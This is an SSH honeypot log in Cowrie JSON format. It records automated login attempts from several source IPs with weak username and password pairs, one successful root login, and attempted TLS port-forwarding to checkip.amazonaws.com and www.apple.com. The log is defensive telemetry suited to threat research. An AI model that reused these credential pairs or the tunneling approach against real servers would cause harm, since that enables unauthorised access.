{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:33.586312Z","src_ip":"2.57.122.208","session":"b6ad760c888f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:33.704292Z","src_ip":"2.57.122.208","session":"b6ad760c888f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:34.447140Z","src_ip":"2.57.122.208","session":"b6ad760c888f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:35.773937Z","src_ip":"2.57.122.208","session":"b6ad760c888f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37672,"dst_ip":"159.203.135.109","dst_port":22,"session":"dfb196cf1331","protocol":"ssh","message":"New connection: 195.178.110.218:37672 (159.203.135.109:22) [session: dfb196cf1331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:53.863903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:53.868806Z","src_ip":"195.178.110.218","session":"dfb196cf1331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:53.947993Z","src_ip":"195.178.110.218","session":"dfb196cf1331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:54.184522Z","src_ip":"195.178.110.218","session":"dfb196cf1331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:55.265207Z","src_ip":"195.178.110.218","session":"dfb196cf1331","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.95.118","src_port":60746,"dst_ip":"159.203.135.109","dst_port":22,"session":"9a8a2e4b857c","protocol":"ssh","message":"New connection: 80.94.95.118:60746 (159.203.135.109:22) [session: 9a8a2e4b857c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:56.756043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:56.759931Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:56.856948Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:13:57.328376Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"34.251.25.101","dst_port":443,"src_ip":"80.94.95.118","src_port":53152,"message":"direct-tcp connection request to 34.251.25.101:443 from 127.0.0.1:53152","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:00.190481Z","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"34.251.25.101","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 34.251.25.101:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:02.970110Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"34.251.25.101","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{ib\\x86\\x9d\\xed\\xa7\\xa4{8\\x0fw\\xf6d\\xd2\\xb7\\xef\\xc3xh\\x8f91x\\xc8\\xec\\x84\\xf4\\x1cjL\\xd5 >\\xca\\x86\\xa3\\xeb\\xe1\\xf8\\xb99\\x18\\xa4\\xd8\\xc1A\\xcc+fD\\xc3y\\xe5\\x1c\\xa3\\x84\\x0c\\xa8v\\xa6,o\\xb7\\xf5\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x84\\xf0\\x87\\x97\\xa3x\\x8a_\\xe9BQ\\xfd\\xbe\\x0fP\\x83\\xc7`I?\\xab\\xdb\\xf6V\\x17\\xa8\\x03\\x90\\xe2\\xb7\\xce^\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 34.251.25.101:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03{ib\\x86\\x9d\\xed\\xa7\\xa4{8\\x0fw\\xf6d\\xd2\\xb7\\xef\\xc3xh\\x8f91x\\xc8\\xec\\x84\\xf4\\x1cjL\\xd5 >\\xca\\x86\\xa3\\xeb\\xe1\\xf8\\xb99\\x18\\xa4\\xd8\\xc1A\\xcc+fD\\xc3y\\xe5\\x1c\\xa3\\x84\\x0c\\xa8v\\xa6,o\\xb7\\xf5\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x84\\xf0\\x87\\x97\\xa3x\\x8a_\\xe9BQ\\xfd\\xbe\\x0fP\\x83\\xc7`I?\\xab\\xdb\\xf6V\\x17\\xa8\\x03\\x90\\xe2\\xb7\\xce^\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:02.973335Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"2.18.68.245","dst_port":443,"src_ip":"80.94.95.118","src_port":54454,"message":"direct-tcp connection request to 2.18.68.245:443 from 127.0.0.1:54454","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:06.866132Z","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"2.18.68.245","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 2.18.68.245:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:14.573669Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"2.18.68.245","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\\\6w\\x928\\xc6\\xa2\\xf2\\x13\\xbc\\xaf\\xd8\\x15\\xb9\\xaf\\xbd\\xf7 \\xfa^\\x9a\\x8a\\xff\\xado3\\xf4\\xe5@\\xc9@ |\\xadr\\x18\\xaf]G\\xf3<\\x11m\\xf7\\xb8\\xe0\\x17P\\xad\\xde\\x8fJ\\x01\\xb1\\x9a\\xe2\\xa8\\x94 =\\x97\\xf6\\x1cP\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 .\\xfe\\r\\x04\\xc4d\\xc9\\xfeh!\\x00\\x0bbW@\\xc1\\x8c\\xc5>\\r\\x00j19\\xb6\\rw%\\xb4\\xb4\\xb3\\x04\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 2.18.68.245:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\\\6w\\x928\\xc6\\xa2\\xf2\\x13\\xbc\\xaf\\xd8\\x15\\xb9\\xaf\\xbd\\xf7 \\xfa^\\x9a\\x8a\\xff\\xado3\\xf4\\xe5@\\xc9@ |\\xadr\\x18\\xaf]G\\xf3<\\x11m\\xf7\\xb8\\xe0\\x17P\\xad\\xde\\x8fJ\\x01\\xb1\\x9a\\xe2\\xa8\\x94 =\\x97\\xf6\\x1cP\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 .\\xfe\\r\\x04\\xc4d\\xc9\\xfeh!\\x00\\x0bbW@\\xc1\\x8c\\xc5>\\r\\x00j19\\xb6\\rw%\\xb4\\xb4\\xb3\\x04\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:14.577110Z","src_ip":"80.94.95.118","session":"9a8a2e4b857c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":43718,"dst_ip":"159.203.135.109","dst_port":22,"session":"4de9fd19bdc6","protocol":"ssh","message":"New connection: 14.225.2.125:43718 (159.203.135.109:22) [session: 4de9fd19bdc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:15.716720Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:15.979296Z","src_ip":"14.225.2.125","session":"4de9fd19bdc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":43730,"dst_ip":"159.203.135.109","dst_port":22,"session":"60ca2f28cc75","protocol":"ssh","message":"New connection: 14.225.2.125:43730 (159.203.135.109:22) [session: 60ca2f28cc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:16.247668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T20:14:16.250987Z","src_ip":"14.225.2.125","session":"60ca2f28cc75","protocol":"ssh"}
